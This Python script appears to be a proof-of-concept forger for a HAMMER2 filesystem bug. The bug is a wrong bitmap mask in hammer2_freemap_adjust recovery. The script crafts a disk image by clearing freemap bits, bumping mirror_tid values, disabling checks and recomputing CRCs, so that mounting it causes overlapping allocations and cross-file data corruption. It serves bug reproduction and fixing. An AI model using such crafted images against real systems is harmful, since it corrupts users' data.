#!/usr/bin/env python3
"""
DF-2652 forger: wrong bitmap-pair index in hammer2_freemap_adjust() DORECOVER.

freemap.c:1073 computes the bit position of the 16K chunk inside its
512KB bitmapq[] element as

    start = ((int)(data_off >> HAMMER2_FREEMAP_BLOCK_RADIX) & 15) * 2;

but each element holds 32 chunks (5 bits); the correct mask is & 31 (as used
by the allocator in hammer2_bmap_alloc, :636, and by bulkfree staging,
bulkfree.c:921-924).  For chunks 16..31 of every 512K element (data_off bit
18 set) recovery/dedup marks the pair of chunk (n-16) instead of chunk n.

This forge simulates the documented crash-recovery condition "allocation
flushed to the topology but not yet to the freemap" for ONE fileA chain:

  * X0 = 0x1c40000 (fileA chain k=4, 64K): its 4 bit-pairs (bits 32..39 of
    bmap[7].bitmapq[0], LEAF @ 0x10000) are cleared 11 -> 00 in the on-disk
    freemap leaf (leaf icrc32 recomputed into volhdr freemap_blockset[0]);
  * fileA's ancestry brefs (testvol, fileA inode, indirect) get
    mirror_tid = 0x20 (> freemap_tid 0x11) so mount-time recovery calls
    hammer2_freemap_adjust(DORECOVER) on all 24 fileA DATA brefs;
  * CHECK_NONE on the touched ancestry + recompute volhdr CRCs.

Expected: recovery re-marks the WRONG pairs (X0-0x40000, already 11 -> no-op)
and leaves X0's pairs 00, so X0 -- still referenced by fileA's live bref --
is handed out to the next allocation (fileB), producing overlapping
allocations / cross-file data corruption.
"""
import struct, sys, os
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from h2common import *

LEAF   = 0x10000
X0     = 0x1c40000          # fileA chain k=4 (64K), block-in-element 16..19

def leaf_pairs(img):
    """dump (bmap_idx, elem, pairs-as-hex) around X0 + avail of bmap[7]"""
    n = (X0 >> 22) & 255
    elem = (X0 >> 19) & 7
    b = LEAF + n * 128
    linear, cls, avail = struct.unpack_from('<iHI', img, b)
    bits = struct.unpack_from('<8Q', img, b + 0x40)
    return dict(n=n, elem=elem, linear=linear, cls=cls, avail=avail,
                bits=[hex(x) for x in bits])

def main():
    base, out = sys.argv[1], sys.argv[2]
    img = bytearray(open(base, 'rb').read())
    vols, sbr = find_sroot(img)
    pbr = find_pfs_bref(img, sbr, b'testvol')

    # the volhdr sroot_blockset bref gates recovery recursion into the sroot
    struct.pack_into('<Q', img, sbr['off'] + 0x10, 0x20)
    print("[+] volhdr sroot bref @%#x: mirror_tid -> 0x20" % sbr['off'])

    # ---- ancestry: bump mirror_tid + CHECK_NONE along the recovery path
    struct.pack_into('<Q', img, pbr['off'] + 0x10, 0x20)
    struct.pack_into('<B', img, pbr['off'] + 0x01, 0x00)
    # fileA inode bref = slot0 of PFS-root blockset
    fib = (pbr['data_off'] & ~RADIX_MASK) + 0x200 + 0 * BREF
    struct.pack_into('<Q', img, fib + 0x10, 0x20)
    struct.pack_into('<B', img, fib + 0x01, 0x00)
    # fileA inode block -> its blockset slot0 = INDIRECT bref
    fA_blk = struct.unpack_from('<Q', img, fib + 0x20)[0] & ~RADIX_MASK
    iib = fA_blk + 0x200 + 0 * BREF
    struct.pack_into('<Q', img, iib + 0x10, 0x20)
    struct.pack_into('<B', img, iib + 0x01, 0x00)
    ind_off = struct.unpack_from('<Q', img, iib + 0x20)[0] & ~RADIX_MASK
    print("[+] ancestry bumped: pbr@%#x fileA-bref@%#x ind-bref@%#x (ind blk %#x, fA blk %#x)"
          % (pbr['off'], fib, iib, ind_off, fA_blk))

    # ---- all 24 fileA DATA brefs: mirror_tid -> 0x20 (keep methods 0x30)
    cnt = 0
    for e in range(128):
        o = ind_off + e * BREF
        if img[o] == 3:
            assert struct.unpack_from('<Q', img, o + 0x20)[0] & ~RADIX_MASK
            struct.pack_into('<Q', img, o + 0x10, 0x20)
            cnt += 1
    print("[+] bumped mirror_tid on %d fileA DATA brefs" % cnt)
    assert cnt == 24, cnt

    # ---- clear X0's 4 bit-pairs in the on-disk freemap leaf (simulate
    #      'topology flushed, freemap not' for that allocation)
    st = leaf_pairs(img)
    print("[+] leaf before: bmap[%d] avail=%#x bitmapq[0]=%s"
          % (st['n'], st['avail'], st['bits'][0]))
    b = LEAF + st['n'] * 128 + 0x40 + st['elem'] * 8
    old = struct.unpack_from('<Q', img, b)[0]
    mask = 0xFF << 32                      # chunks 16..19 of element 0
    assert (old & mask) == mask, "X0 pairs not all 11: %#x" % old
    struct.pack_into('<Q', img, b, old & ~mask)
    print("[+] leaf: cleared X0 (%#x) pairs: %#x -> %#x"
          % (X0, old, old & ~mask))
    # NOTE: avail intentionally left as-is (matches the crash condition where
    #       the allocation was accounted but the bitmap write was lost).

    # ---- recompute leaf chain CRC into volhdr freemap_blockset[0]
    icrc = iscsi_crc32(bytes(img[LEAF:LEAF + 32768]))
    for v in vols:
        struct.pack_into('<I', img, v + 0x800 + 0x40, icrc)
        struct.pack_into('<B', img, v + 0x201, 0x00)   # sroot CHECK_NONE
    print("[+] leaf icrc32 = %#010x" % icrc)
    recompute_volhdr_crcs(img)
    open(out, 'wb').write(img)
    print("[+] wrote %s" % out)

if __name__ == '__main__':
    main()
